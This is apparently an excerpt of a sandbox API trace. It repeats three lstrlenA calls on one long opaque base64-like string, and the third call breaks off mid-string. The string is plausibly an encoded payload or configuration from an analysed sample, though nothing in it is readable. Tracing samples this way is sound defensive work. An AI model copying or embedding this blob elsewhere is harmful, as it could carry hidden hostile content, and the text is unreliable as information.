	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="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